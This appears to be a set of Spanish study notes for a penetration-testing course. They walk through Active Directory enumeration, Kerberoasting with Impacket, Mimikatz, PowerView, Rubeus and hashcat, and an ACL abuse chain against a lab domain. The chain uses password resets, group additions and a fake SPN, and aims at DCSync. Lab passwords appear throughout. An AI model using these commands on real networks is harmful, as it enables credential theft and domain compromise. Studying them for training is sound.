- Requisitos de contraseña
Comandos:
![[Pasted image 20260927131838.png]]![[Pasted image 20260927131901.png]]
- Listar grupos de dominio
net group /domain
![[Pasted image 20260927131925.png]]
- Informacion sobre un usuario del dominio
net user /domain wrouse
![[Pasted image 20260927131952.png]]
Truco para comandos net
net1 es igual que net pero puede que los defensores no lo esten vigilando tan de cerca
![[Pasted image 20260927132100.png]]
Dsquery
Dsquery es una herramienta que se puede usar para encontrar objetos de AD. Son consultas que se pueden replicar en BloodHound o PowerView
DLL de Dsquery
Lo unico que necesitamos son privs elevados en el host o capacidad de ejecutar una instancia CMD o PS como SYSTEM
- Busqueda de usuarios
dsquery user
![[Pasted image 20260927132546.png]]
- Busqueda de equipos
dsquery computer
![[Pasted image 20260927132614.png]]
- Busqueda con comodines para ver los objetos de una OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
![[Pasted image 20260927132649.png]]
- Combinar dsquery con filtros de busqueda LDAP. En la siguiente se localizan usuarios con el indicador PASSWD_NOTREQD establecido en el atributo userAccountControl
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
![[Pasted image 20260927132758.png]]
- Busqueda de controladores de dominio
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
![[Pasted image 20260927132825.png]]
Explicacion de filtrado LDAP
En las consultas estamos usando cadenas como: userAccountControl:1.2.840.113556.1.4.803:=8192. Estas son consultas LDAP comunes
userAccountControl:1.2.840.113556.1.4.803: –> estamos observando atributos de UAC de un objeto y puede cambiar dependiendo de OIDs
Valores UAC
![[Pasted image 20260927133025.png]]
Los OID son reglas utilizadas para hacer coincidir valores de bits con atributos. Para LDAP y AD, existen tres reglas de coincidencia principales::
1.2.840.113556.1.4.803 –> el bit debe coincidir completamente para cumplir con los requisitos de la búsqueda. Es ideal para hacer coincidir un único atributo.
1.2.840.113556.1.4.804 –> queremos que nuestros resultados muestren cualquier coincidencia de atributo si cualquier bit en la cadena coincide. Esto funciona en el caso de que un objeto tenga múltiples atributos establecidos
1.2.840.113556.1.4.1941 –> hacer coincidir filtros que se aplican al Nombre Distinguido (Distinguished Name) de un objeto y buscará a través de todas las entradas de propiedad y membresía
Al construir cadenas de búsqueda, podemos utilizar operadores lógicos &, | y !
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64)): El ejemplo anterior establece el primer criterio de que el objeto debe ser un usuario y lo combina con la búsqueda de un valor de bit UAC de 64 (Password Can’t Change)
Puedes llevar esto aún más lejos y combinar múltiples atributos como (&(1) (2) (3)). Los operadores ! (no) y | (o) pueden funcionar de manera similar
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))
Ejemplo practico
- Enumera los configuracion de seguridad del host y devuelve el AMProductVersion
- Miramos el estado y ajustes de Defender
![[Pasted image 20260927134536.png]]
- Que domain user esta explicitamente listado como un miembro de Administrators en el host
- Miramos los usuarios del grupo administrators local y vemos un usuario del dominio
![[Pasted image 20260927134435.png]]
- Usando tecnicas que has cubierto en la seccion, encuentra la flag escondida en la descripcion de un field de una cuenta dehabilitada con privs adminsitrativos
- Realizamos una query con dsquery y consultas LDAP con comodines:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) :busca objetos que sean usuarios & mirando los atributos del UAC que sean cuentas deshabilitadas (OID=2) y que coincida todo (1.2.840.113556.1.4.803)
![[Pasted image 20260927133945.png]]
- Luego buscamos el SAM de ese objeto y por ultimo obtenemos su informacion como cuenta de dominio
![[Pasted image 20260927134246.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 7. Kerberoastings
1. Kerberoasting Desde Linux
Tras la enumeracion vimos varias cuentas de usuarios con SPNs
Descripcion general de Kerberoasting
Es una tecnica de movimiento lateral/escalada de privs en entornos AD
Se dirige a cuentas con SPN (identificadores unicos que Kerberos usa para asignar una instancia de servicio a una cuenta de servicio que estara ejecutando dicho servicio). Los servicios se asignan a usuarios para la autenticacion de red dentro del dominio
Cualquier usuario del dominio puede solicitar un ticket Kerberos para cualquier cuenta de servicio y tambien es posible a traves de confianzas entre bosques
Necesitamos alguna de estas cosas:
- Pass texto plano
- Hash NTLM
- Shell con contexto de una cuenta de usuario de dominio
- Acceso SYSTEM a un host unido al dominio
Las cuentas de dominio que ejecutan servicios suelen ser administradores locales
Las cuentas de servicio se configuran a menudo con contraseñas débiles o reutilizadas para simplificar la administración y a veces la contraseña es la misma que el nombre de usuario
Si se crackea la contraseña de una cuenta de servicio de SQL Server del dominio, es probable que te encuentres como administrador local en varios servidores, si no como Domain Admin
Kerberoasting - Realizando el ataque
Puede realizarse desde:
- Desde un host Linux no unido al dominio utilizando credenciales de usuario de dominio válidas.
- Desde un host Linux unido al dominio como root después de recuperar el archivo keytab.
- Desde un host Windows unido al dominio autenticado como un usuario del dominio.
- Desde un host Windows unido al dominio con un shell en el contexto de una cuenta del dominio.
- Como SYSTEM en un host Windows unido al dominio.
- Desde un host Windows no unido al dominio usando runas /netonly.
Se pueden utilizar varias herramientas para realizar el ataque:
- GetUserSPNs.py de Impacket desde un host Linux no unido al dominio.
- Una combinación del binario integrado de Windows setspn.exe, PowerShell y Mimikatz.
- Desde Windows, utilizando herramientas como PowerView, Rubeus y otros scripts de PowerShell.
Obtener un tique TGS a través de Kerberoasting no te garantiza un conjunto de credenciales válidas, y el tique todavía debe ser crackeado sin conexión con una herramienta como Hashcat para obtener la contraseña en texto plano. Los tiques TGS tardan más en crackearse que otros formatos como los hashes NTLM, por lo que a menudo, a menos que se establezca una contraseña débil, puede ser difícil o imposible obtener el texto plano
Kerberoasting con GetUserSPNs.py
![[Pasted image 20260928112416.png]]
Instalar toolkit Impacket
sudo python3 -m pip install .
![[Pasted image 20260928112453.png]]
Esto instalará todas las herramientas de Impacket y las colocará en nuestro PATH para que podamos llamarlas desde cualquier directorio en nuestro host de ataque
GetUserSPNs.py -h
![[Pasted image 20260928112520.png]]
- Recopilamos un listado de SPNs del dominio (necesitamos creds validas de dominio y la IP del DC). Vale en texto plano, hash ntlm o ticket Kerberos
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
![[Pasted image 20260928112641.png]]
Vemos que varias cuentas son miembros del grupo Domain Admins. Si podemos recuperar y crackear alguno de estos tickets podria llevarnos a la vuln del dominio
2. Extraemos todos los tickets TGS para su procesamiento sin conexion (-request). Los tickets se mostraran en un formato que se puede pasar directamente al hashcat
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
![[Pasted image 20260928112905.png]]
- Podemos solicitar solo tickets TGS para una cuenta concreta por ejemplo para la cuenta
sqldev
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs
![[Pasted image 20260928113241.png]]
Con este tique en mano, podríamos intentar crackear la contraseña del usuario sin conexión
- Crackeando el ticket sin conexion:
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
![[Pasted image 20260928113313.png]]
- Hemos crackeado con éxito la contraseña del usuario como
database!. Como último paso, podemos confirmar nuestro acceso y ver que efectivamente tenemos derechos de Domain Admin, ya que podemos autenticarnos en el DC objetivo en el dominio INLANEFREIGHT.LOCAL
sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!
![[Pasted image 20260928113353.png]]
Ejemplo practico
Forend: Klmcargo2
- Devuelve el ticket TGS de la cuenta SAPService y crackealo offline para subir el pass
- Nos conectamos via SSH
![[Pasted image 20260928113735.png]]
- Obtenemos una lista de cuentas con SPN
![[Pasted image 20260928114140.png]]
- Obtenemos el TGS de la cuenta SAPService y la guardamos en un archivo
![[Pasted image 20260928114308.png]]
- La descargamos en nuestro host de ataque y la crackeamos
![[Pasted image 20260928114423.png]]![[Pasted image 20260928114449.png]]
![[Pasted image 20260928114458.png]]
- Comprobamos que nos podemos autenticar contra el DC
![[Pasted image 20260928114808.png]]
- De que grupo poderoso es miembro en el domain controller SAPService
- Al recuperar una lista de usuarios con SPN salia el grupo al que pertenecia
![[Pasted image 20260928114138.png]]
- Una vez conocida la pass de la cuenta comprobamos contra el DC si pertenecemos realmente a ese grupo
![[Pasted image 20260928114934.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 7. Kerberoastings
2. Kerberoasting Desde Windows
Metodo semimanual
Usando setspn
- Enumeramos SPNs
setspn.exe -Q */*
![[Pasted image 20260928115237.png]]
Notaremos que se devuelven muchos SPN diferentes para los distintos hosts del dominio. Nos centraremos en las `cuentas de usuario` e ignoraremos las cuentas de equipo que devuelve la herramienta
2. Solicitamos el Ticket TGS desde PS a una cuenta y lo cargamos en memoria para poder extraerlo con Mimikatz
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
![[Pasted image 20260928115704.png]]
- Podriamos obtener tambien todos los tickets usando el mismo metodo pero traera todas las cuentas de equipo tambien
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
![[Pasted image 20260928115845.png]]
- Extraemos los tickets de la memoria con mimikatz
.\mimikatz.exe
# base64 /out:true
# kerberos::list /export
![[Pasted image 20260928115954.png]]
Si no especificamos el comando base64 /out:true, Mimikatz extraerá los tickets y los escribirá en archivos .kirbi. Dependiendo de nuestra posición en la red y si podemos mover fácilmente los archivos a nuestro host de ataque, esto puede ser más fácil cuando vayamos a crackear los tickets
- Pasamos el BASE64 a nuestro host y lo preparamos y copiamos en un archivo
echo "<base64 blob>" | tr -d \\n
![[Pasted image 20260928120100.png]]
- Colocamos la salida en un .kirbi
cat encoded_file | base64 -d > sqldev.kirbi
![[Pasted image 20260928120218.png]]
- Usamos kirbi2john para extraer el TGS
python2.7 kirbi2john.py sqldev.kirbi
![[Pasted image 20260928120259.png]]
- Esto creará un archivo llamado
crack_file. Luego debemos modificar un poco el archivo para poder usar Hashcat contra el hash.
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
- Crackeamos
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
![[Pasted image 20260928120506.png]]
Si decidimos omitir la salida base64 con Mimikatz y escribimos `mimikatz # kerberos::list /export`, el archivo (o archivos) `.kirbi` se escribirá en el disco. En este caso, podemos descargar el/los archivo(s) y ejecutar `kirbi2john.py` directamente sobre ellos, omitiendo el paso de decodificación base64.
Ruta automatizada / basada en herramientas
PowerView
- Usemos PowerView para extraer los tickets TGS y convertirlos en formato para Hashcat
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
![[Pasted image 20260928121113.png]]
- Desde aqui podriamos apuntar a un usuario especifico
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
![[Pasted image 20260928121155.png]]
- Exportamos todos los tickets a un archivo CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
- Vemos el contenido del CSV
cat .\ilfreight_tgs.csv
![[Pasted image 20260928121245.png]]
Rubeus
Podemos usar Rubeus para hacerlo de una forma mas rapida y facil
.\Rubeus.exe
![[Pasted image 20260928121337.png]]
Como podemos ver al desplazarnos por el menú de ayuda de Rubeus, la herramienta tiene una gran cantidad de opciones para interactuar con Kerberos:
- Realizar Kerberoasting y guardar los hashes en un archivo
- Usar credenciales alternativas
- Realizar Kerberoasting combinado con un ataque pass-the-ticket
- Realizar Kerberoasting “opsec” para filtrar cuentas con AES habilitado
- Solicitar tickets para contraseñas de cuentas establecidas entre un rango de fechas específico
- Establecer un límite en el número de tickets solicitados
- Realizar Kerberoasting AES
- Usamos /stats para ver algunas caracteristicas de los usuarios kerberoastable
.\Rubeus.exe kerberoast /stats
![[Pasted image 20260928121509.png]]
Aqui vemos que hay 9 cuentas de usuarios kerberoastables, 7 admiten cifrado RC4 para las solicitudes de tickets y 2 AES. Todas las pass de las cuentas fueron establecidas en 2022
.\Rubeus.exe kerberoast /user:testspn /nowrap
- Usamos rubeus para solicitar tickets de cuentas con atributo
admincount = 1 y especificamos /nowrap para que el hash se pueda copiar facilmente
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
![[Pasted image 20260928122206.png]]
NOTA SOBRE LOS TIPOS DE CIFRADO
Las herramientas de Kerberoasting suelen solicitar el cifrado RC4 al realizar el ataque e iniciar las solicitudes TGS-REQ. Esto se debe a que RC4 es más débil y más fácil de crackear
Al realizar Kerberoasting en la mayoría de los entornos, obtendremos hashes que comienzan con $krb5tgs$23$*, un ticket cifrado con RC4 (tipo 23). A veces recibiremos un hash cifrado con AES-256 (tipo 18) o un hash que comienza con $krb5tgs$18$*
- Comencemos creando una cuenta con SPN llamada
testspn y usando Rubeus para hacer Kerberoast a este usuario específico para probar esto. Como podemos ver, recibimos el ticket TGS cifrado con RC4 (tipo 23).
.\Rubeus.exe kerberoast /user:testspn /nowrap
![[Pasted image 20260928122742.png]]
- Al verificar con PowerView, podemos ver que el atributo
msDS-SupportedEncryptionTypes está establecido en 0. La tabla aquí nos dice que un valor decimal de 0 significa que no se define un tipo de cifrado específico y se establece el predeterminado de RC4_HMAC_MD5
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
![[Pasted image 20260928122807.png]]
- Crackeando el ticket con Hashcat y rockyou.txt
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
![[Pasted image 20260928122938.png]]
Supongamos que nuestro cliente ha configurado las cuentas con SPN para que admitan el cifrado AES 128/256.
![[Pasted image 20260928123000.png]]
Si comprobamos esto con PowerView, veremos que el atributo msDS-SupportedEncryptionTypes está establecido en 24, lo que significa que los tipos de cifrado AES 128/256 son los únicos compatibles.
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
![[Pasted image 20260928123023.png]]
Solicitando un nuevo ticket
.\Rubeus.exe kerberoast /user:testspn /nowrap
![[Pasted image 20260928123042.png]]
Crackeamos:
hashcat -m 19700 aes_to_crack /usr/share/wordlists/rockyou.txt
![[Pasted image 20260928123136.png]]
Viendo el tiempo que tardó en crackearse:
![[Pasted image 20260928123201.png]]
Podemos usar Rubeus con el flag /tgtdeleg para especificar que solo queremos cifrado RC4 al solicitar un nuevo ticket de servicio
![[Pasted image 20260928123312.png]]
En la imagen anterior, podemos ver que al proporcionar el flag `/tgtdeleg`, la herramienta solicitó un ticket RC4 a pesar de que los tipos de cifrado compatibles se enumeran como AES 128/256
![[Pasted image 20260928123611.png]]
- MODIFICAR EL CIFRADO (NO HACER)
Es posible editar los tipos de cifrado utilizados por Kerberos. Esto se puede hacer abriendo la Directiva de grupo, editando la Directiva de dominio predeterminada y eligiendo: Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Directivas locales > Opciones de seguridad, luego haciendo doble clic en Seguridad de red: configurar tipos de cifrado permitidos para Kerberos y seleccionando el tipo de cifrado deseado permitido para Kerberos. Eliminar todos los demás tipos de cifrado excepto RC4_HMAC_MD5 permitiría que el ejemplo de rebaja anterior ocurriera en 2019
![[Pasted image 20260928123704.png]]
Ejemplo practico
- Cual es el nombre de la cuenta de servicio de SPN ‘vmware/inlanefreight.loca’
- Nos conectamos via RDP
![[Pasted image 20260928123942.png]]
- Abrimos PS como admins y vamos a Tools
![[Pasted image 20260928124009.png]]
- Usamos PowerView para ver una lista de usuarios con SPN
![[Pasted image 20260928124527.png]]
- Hacemos una peticion del ticket TGS del usuario con Rubeus y vemos que es un RC4 ($23)
![[Pasted image 20260928124154.png]]
- Lo copiamos en un archivo y lo crackeamos offline con hashcat
![[Pasted image 20260928124346.png]]
![[Pasted image 20260928124355.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 8. Acls
1. Introduccion Al Abuso De Listas De Control De Acceso Acl
Resumen de la Lista de Control de Acceso ACL
Las ACLs son listas que definen:
- Quien tiene acceso a que activo o recurso
- El nivel de acceso
Las configuraciones dentro de las ACLs son ACEs y cada ACE corresponde con un usuario, grupo o proceso que definen los derechos otorgados a esa entidad
Cada objeto tiene una ACL que puede tener multiples ACEs
Tipos de ACLs:
- Listas de Control de Acceso Discrecional o DACL: define que entidades se les concede o deniega el acceso a un objeto. Compuestas de ACEs que permiten o denieguan. Si no existen DACL para un objeto, se le otorgar permisos completo
- Listas de Control de Acceso del Sistema o SACL: permiten a los administradores registrar los intentos de acceso realizados a objetos protegidos
Visualización de la ACL de forend
![[Pasted image 20260928130801.png]]
Las SACLs se pueden ver dentro de la pestaña Auditoría.
![[Pasted image 20260928130817.png]]
Entradas de Control de Acceso (ACEs)
Las Listas de Control de Acceso (ACLs) contienen entradas ACE que nombran a un usuario o grupo y el nivel de acceso que tienen sobre un objeto
3 tipos:
![[Pasted image 20260928130917.png]]
Cada ACE se compone de los siguientes cuatro componentes::
- El identificador de seguridad (SID) del usuario/grupo que tiene acceso al objeto
- Un indicador que denota el tipo de ACE
- Un conjunto de indicadores que especifican si los contenedores/objetos secundarios pueden heredar o no la entrada ACE dada del objeto principal o padre
- Una máscara de acceso (access mask) que es un valor de 32 bits que define los derechos otorgados a un objeto
Podemos ver esto gráficamente en Usuarios y Equipos de Active Directory (ADUC)
![[Pasted image 20260928131046.png]]
- La entidad de seguridad es Angela Dunn ([email protected])
- El tipo de ACE es
Permitir
- La herencia se aplica a “Este objeto y todos los objetos descendientes”, lo que significa que cualquier objeto secundario del objeto
forend tendría los mismos permisos otorgados
- Los derechos otorgados al objeto, nuevamente mostrados gráficamente en este ejemplo
¿Por qué son importantes las ACE?
Los atacantes utilizan las entradas ACE para ampliar su acceso o establecer persistencia
No pueden ser detectadas por herramientas de escaneo de vulnerabilidades y, a menudo, pasan desapercibidas durante muchos años, especialmente en entornos grandes y complejos
A continuación, se presentan algunos ejemplos de permisos de seguridad de objetos de Active Directory. Estos pueden ser enumerados (y visualizados) usando una herramienta como BloodHound:
ForceChangePassword explotado con Set-DomainUserPassword
Add Members explotado con Add-DomainGroupMember
GenericAll explotado con Set-DomainUserPassword o Add-DomainGroupMember
GenericWrite explotado con Set-DomainObject
WriteOwner explotado con Set-DomainObjectOwner
WriteDACL explotado con Add-DomainObjectACL
AllExtendedRights explotado con Set-DomainUserPassword o Add-DomainGroupMember
AddSelf explotado con Add-DomainGroupMember
ForceChangePassword - nos da el derecho de restablecer la contraseña de un usuario sin conocer primero su contraseña
GenericWrite - nos da el derecho de escribir en cualquier atributo no protegido de un objeto. Si tenemos este acceso sobre un usuario, podríamos asignarle un SPN y realizar un ataque de Kerberoasting. Sobre un grupo, significa que podríamos agregarnos a nosotros mismos
AddSelf - muestra los grupos de seguridad a los que un usuario puede agregarse a sí mismo
GenericAll - nos otorga control total sobre un objeto objetivo. Nuevamente, dependiendo de si esto se concede sobre un usuario o un grupo, podríamos modificar la membresía del grupo, forzar el cambio de una contraseña o realizar un ataque de Kerberoasting. Si tenemos este acceso sobre un objeto de equipo y la Solución de Contraseña de Administrador Local (LAPS) está en uso en el entorno, podemos leer la contraseña de LAPS y obtener acceso de administrador local a la máquina
![[Pasted image 20260928131531.png]]
Este gráfico, adaptado de un gráfico creado por Charlie Bromberg (Shutdown), muestra un excelente desglose de los diversos ataques ACE posibles y las herramientas para realizarlos tanto desde Windows como desde Linux
Ejemplo practico
Qu
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 8. Acls
2. Enumeracion Acl
Vamos a enumerar las ACLs usando PowerView y revisar algunas representaciones graficas usando BloodHound
Enumeracion de ACL con PowerView
Si ejecutamos Find-InterestingDomainAcl recibiremos una cantidad ingente de informacion
Find-InterestingDomainAcl
![[Pasted image 20260928135433.png]]
Es probable que nunca terminemos de revisarlo todo o que no encontremos nada interesante
- Realizar una enumeracion dirigida a partir de un usuario sobre el que tenemos control (en este caso usaremos a wley). Vamos a ver si ese usuario tiene algun ACL interesante que podamos aprovehar
- Necesitaremos el SID del usuario objetivo
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley
-
Usamos Get-DomainObjectACL para hacer la busqueda dirigida. En el siguiente ejemplo estamos rastreando a traves del SID quien tiene el derecho dado sobre un objeto
El comando tarda unos minutos en ejecutarse
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
![[Pasted image 20260928140359.png]]
Vemos que wley tiene sobre damundsen ExtendRight pero no sabemos el valor del ObjectAceType porque esta en un formato no legible para humanos (GUID)
3. Podemos buscar 00299570-246d-11d0-a768-00aa006e0529 en google y ver esta pagina que dice que el usuario tiene derecho de forzar el cambio de contraseña de otro
- Otra opcion es realizar una busqueda inversa en PS:
$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
![[Pasted image 20260928140636.png]]
Pero es muy ineficiente
- Otra forma es usar -ResolveGUIDs en PowerView
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
![[Pasted image 20260928140729.png]]
Como obtener ACLs sin PowerView
- Obtenemos lista de usuarios
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
- Leemos cada linea con un foreach y usamos Get-Acl para recuperar la info ACL de cada usuario. Solo seleccionamos la propiedad Access IdentitiyReference al usuario wley que controlamos
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
![[Pasted image 20260928141014.png]]
Podriamos seguir los mismos pasos que en PowerView para obtener el valor real de ObjectType
Siguiendo
- Antes de realizar nada, miramos hacia donde nos llevaria el control de
damundsen
$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose
![[Pasted image 20260928141431.png]]
Vemos que damundsen tiene GenericWrite sobre Help Desk Level 1. Entre otras cosas, podriamos añadir cualquier usuario a este grupo y heredar cualquier derecho que este grupo tenga aplicado
- Si buscamos los derechos conferidos a este grupo no nos da nada interesante
$sid3 = Convert-NameToSid "Help Desk Level 1"
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid3}
- Podemos mirar si es un grupon anidado y vemos que esta anidado al grupo
Information Technology obteniendo cualquier derecho de este grupo
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
![[Pasted image 20260928141759.png]]
- Miramos ahora los derechos de
Information Technology y vemos un GenericAll para el usuario adunn:
- Modificar la pertenencia a grupos
- Forzar el cambio de una contraseña
- Realizar un ataque de Kerberoasting dirigido e intentar crackear la contraseña del usuario si es débil
$sid4 = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid4} -Verbose
![[Pasted image 20260928142412.png]]
- Por ultimo miramos si
adunn tiene algun tipo de acceso interesante que aprovechar
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose
![[Pasted image 20260928142504.png]]
Vemos que tenemos derechos `DS-Replication-Get-Changes` y `DS-Replication-Get-Changes-In-Filtered-Set` sobre el objeto de dominio. Esto significa que este usuario puede ser aprovechado para realizar un ataque DCSync
Enumeracion de ACL con BloodHound
Tomemos los datos que recopilamos anteriormente con el ingestor SharpHound y subámoslos a BloodHound
- Establecer el usuario
wley como nuestro nodo de partida
- Seleccionar la pestaña
Node Info
- Desplazarnos hacia abajo hasta
Outbound Control Rights
Esta opción nos mostrará los objetos sobre los que tenemos control directamente, a través de la pertenencia a grupos, y el número de objetos que nuestro usuario podría llevarnos a controlar a través de rutas de ataque de ACL en Transitive Object Control
- Si hacemos clic en el
1 junto a First Degree Object Control, vemos el primer conjunto de derechos que enumeramos, ForceChangePassword sobre el usuario damundsen
![[Pasted image 20260928142730.png]]
Si hacemos clic derecho en la línea entre los dos objetos, aparecerá un menú. Si seleccionamos Help, se nos presentará ayuda sobre cómo abusar de esta ACE, incluyendo:
- Más información sobre el derecho específico, herramientas y comandos que se pueden usar para llevar a cabo este ataque
- consideraciones de Seguridad Operacional (Opsec)
- Referencias externas.
![[Pasted image 20260928142756.png]]
-
Si hacemos clic en el 16 junto a Transitive Object Control, veremos la ruta completa que hemos enumerado minuciosamente más arriba. A partir de aquí, podríamos aprovechar los menús de ayuda de cada borde (edge) para encontrar las mejores formas de llevar a cabo cada ataque
![[Pasted image 20260928142832.png]]
-
Finalmente, podemos usar las consultas predefinidas (pre-built queries) en BloodHound para confirmar que el usuario adunn tiene derechos de DCSync
![[Pasted image 20260928142852.png]]
Ejemplo practico
- Que priv tiene el usuario
damundsen sobre el grupo Help Desk Level 1
- Nos conectamos via RDP
![[Pasted image 20260928150248.png]]
- Ejecutamos SharpHount, ejecutamos neo4j y nos logueamos y por ultimo abrimos BloodHound
![[Pasted image 20260928150321.png]]
![[Pasted image 20260928150356.png]]
neo4j:HTB_@cademy_stdnt!
![[Pasted image 20260928150555.png]]
![[Pasted image 20260928150626.png]]
- Subimos el zip que ha recolectado SharpHound
![[Pasted image 20260928150650.png]]
- Buscamos a damundsen, vamos a Node Info y Transitive Object Control
![[Pasted image 20260928150848.png]]
![[Pasted image 20260928151126.png]]
- Una vez cargado miramos la ACE sobre Help Desk 1
![[Pasted image 20260928151151.png]]
![[Pasted image 20260928151239.png]]
![[Pasted image 20260928151252.png]]
- Usando las skills aprendidas, enumera los ADRights que tiene el usuario forend sobre dpayne
- Buscamos el usuario forend, Node info y Transitive Object Control
![[Pasted image 20260928151313.png]]
![[Pasted image 20260928151403.png]]
- Ahi miramos la ACE sobre el usuario dpayne
![[Pasted image 20260928151432.png]]
- Cual es el ObjectAceType que tiene forend sobre el grupo GPO Management
- Sobre el mismo esquema de antes miramos el ACE sobre el grupo GPO Management
![[Pasted image 20260928151854.png]]
El nombre de la ACE es en realidad Self-Membership
2. Podemos mirarlo con PowerView tambien, solo que tarda un rato
![[Pasted image 20260928152330.png]]![[Pasted image 20260928154323.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 4. AD Attacks / 8. Acls
3. Tacticas De Abuso De Acl
Abuso de las ACL
Para recapitular dónde estamos y a dónde queremos llegar
- Tenemos control sobre
wley cuyo hash recuperamos en el Responder y pudimos crackear
- Descubrimos que puede usar un ataque de ACLs para obtener control sobre
adunn
- Adunn vimos que puede realizar un DCSync lo que nos daria control de todo el dominio al permitirnos recuperar los hashes de todos los usuarios y escalar privs a Domain/Enterprise Admin e incluso obtener persistencia
Para llevar a cabo la cadena:
- Usamos el usuario wley para cambiar la pass del usuario damundsen
- Nos autenticamos como damundsen y aprovechamos sus derechos de GenericWrite para añadir un usuario que controlamos a Help Desk Level 1
- Aprovechamos que es un grupo anidado a Information Technology y usamos el derecho GenericAll para tomar control de adunn
- Abrimos una consola y nos autenticamos como
wley
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
![[Pasted image 20260928153009.png]]
- Creamos un objeto SecureString que sera la contraseña de
damundsen
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
![[Pasted image 20260928153043.png]]
- Usaremos la funcion de PoweeView (Set-DomainUserPassword) para cambiar la pass del usuario
damundsen. -Credential sera la variable de la cred de wley
- Podríamos hacer esto desde un host de ataque Linux usando una herramienta como
pth-net, que es parte del pth-toolkit
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
![[Pasted image 20260928153224.png]]
- Hacemos un proceso similar para autenticarnos como damundsen y agregarnos a Help Desk Level 1
- Nos autenticamos como damundsen
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
![[Pasted image 20260928153327.png]]
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
![[Pasted image 20260928153441.png]]
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
![[Pasted image 20260928153500.png]]
- Confirmamos que hemos sido añadidos al grupo
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
![[Pasted image 20260928153534.png]]
- Ahora con la nueva membresia y los derechos heredados
GenericAll deberiamos ser capaces de tomar control de adunn. En este caso le añadiremos un atributo SPN para hacer un Kerberoasting ya que no se puede interrumpir el funcionamiento por orden de la compañia
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
![[Pasted image 20260928153817.png]]
- Realizamos un Kerberoast con Rubeus
.\Rubeus.exe kerberoast /user:adunn /nowrap
![[Pasted image 20260928153853.png]]
Ahora podemos crackearlo offline
Limpieza
- Eliminar el SPN falso que creamos en el usuario
adunn.
